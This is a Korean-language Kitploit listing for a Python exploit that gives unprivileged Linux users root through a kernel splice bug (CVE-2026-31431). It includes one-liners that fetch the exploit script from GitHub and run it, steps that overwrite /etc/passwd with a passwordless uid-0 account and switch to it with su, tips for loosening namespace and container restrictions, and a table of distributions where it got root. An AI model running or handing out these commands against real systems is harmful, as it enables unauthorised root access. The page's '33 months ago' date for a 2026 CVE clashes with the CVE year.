Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431 — # CVE-2026-31431에 대한 Linux 커널 로컬 권한 상승 익스플로잇의 Python 구현으로, xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW를 활용하여 /etc/passwd를 덮어쓰고 루트 권한을 획득합니다. | Kitploit
도구/GitHubGitHub/guiimoraes/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

# CVE-2026-31431에 대한 Linux 커널 로컬 권한 상승 익스플로잇의 Python 구현으로, xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW를 활용하여 /etc/passwd를 덮어쓰고 루트 권한을 획득합니다.

저장소 보기
33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CopyFail2 익스플로잇 데모

CopyFail2 (CVE-2026-31431) - Python 구현

xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW 고속 경로를 활용하는 CopyFail2 커널 익스플로잇의 Python 포트로, 권한이 없는 Linux 사용자의 로컬 권한 상승을 위한 도구입니다.

/etc/passwd의 nologin/false 항목을 패스워드 없는 uid-0 사용자로 교체하고 su를 통해 루트 셸로 진입합니다.

취약점

커널 버그는 xfrm ESP-in-UDP 캡슐화에 사용되는 UDP splice 경로에 존재합니다. MSG_SPLICE_PAGES와 함께 UDP 소켓으로 splice()를 호출하면 copy-on-write를 트리거하지 않고 페이지가 수신자의 페이지 캐시에 매핑됩니다. 이를 통해 읽기 전용으로 열린 파일이라도 페이지 캐시에 현재 매핑된 모든 파일에 쓰기가 가능해집니다.

  • 원본 C 구현: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • 업스트림 수정: netdev/net.git

요구 사항

  • Linux 커널 >= 6.5 (MSG_SPLICE_PAGES UDP 지원)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN 또는 사용자 네임스페이스 생성 권한

어떤 버전을 사용할까요

이 저장소는 두 가지 변형을 제공합니다. 둘 다 동일한 결과를 생성하며, 제약 조건에 따라 선택하세요.

빠른 시작 (최적화 버전)

root@kitploit:~
# 파이프를 통한 원라이너
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# 파일로 저장 후 실행
python3 exploit.py

# 변경 사항 되돌리기
python3 exploit.py --clean

빠른 시작 (원시/참조 버전)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

apparmor_restrict_unprivileged_userns가 활성화된 Ubuntu에서는 파일을 먼저 저장한 후 디스크에서 실행하세요. 파이프 모드는 AppArmor 우회 절차를 건너뜁니다.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

작동 방식

  1. 원본 /etc/passwd 바이트를 원하는 값으로 XOR하는 키스트림 바이트를 가진 AES-GCM IV를 브루트포스합니다.
  2. 127.0.0.1:4500에 로컬 xfrm ESP-in-UDP 상태를 설치합니다.
  3. 위조된 ESP 헤더와 ICV를 포함하는 공격자 제어 백킹 파일을 생성합니다.
  4. 세 개의 범위(ESP 헤더, /etc/passwd의 대상 바이트, ICV)를 파이프로 splice()합니다.
  5. 파이프를 UDP 소켓으로 splice()하여 커널 버그를 트리거하고 바이트를 페이지 캐시에 씁니다.
  6. 다른 모든 바이트에 대해 반복하여 nologin/false 라인을 sick::0:0:...:/:/bin/bash로 덮어씁니다.
  7. su - sick로 루트에 진입합니다 (PAM nullok가 빈 패스워드를 허용).

테스트 환경

문제 해결

cannot acquire CAP_NET_ADMIN

커널에 kernel.unprivileged_userns_clone=0이 설정되어 있을 수 있습니다. 활성화하세요:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Docker 내부에서 실행 중이라면 --privileged 또는 --cap-add=SYS_ADMIN 옵션으로 컨테이너를 시작하세요.

크레딧

  • Hyunwoo Kim (imv4bel) 및 Kuan-Ting Chen — 발견 및 업스트림 수정
  • Steffen Klassert — IPsec 관리자, 수정 사항 게시
  • Brad Spengler / grsecurity — "copyfail-class" 명명
  • Theori / Xint — 원본 Copy Fail (CVE-2026-31431)
  • 0xdeadbeefnetwork의 원본 C 익스플로잇
  • guiimoraes의 Python 익스플로잇

면책 조항

이 도구는 공인된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오. 저자는 이 소프트웨어의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.

도구 다운로드
파일설명속도사용 시기
exploit.py최적화 버전 — 변형 간에 xfrm 상태/소켓/파이프를 재사용하고, 라운드당 2바이트를 배치 처리하며, 고정 대기 대신 능동 폴링을 사용합니다.99바이트 라인 기준 약 3~8초기본 선택. 빠르고 안정적이며 여러 배포판에서 테스트됨.
exploit_raw.py참조 버전 — 원본 C 코드에 가장 근접합니다. 모든 단일 바이트에 대해 xfrm 상태, 소켓, 파이프 및 임시 파일을 재생성하고, 변형당 200ms 고정 대기를 사용합니다.99바이트 라인 기준 약 30~40초감사를 위해 가장 단순한 코드 경로를 원하거나, 최적화 버전이 특정 커널 빌드에서 오작동하는 경우 사용.
배포판커널결과
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-generic취약하지 않음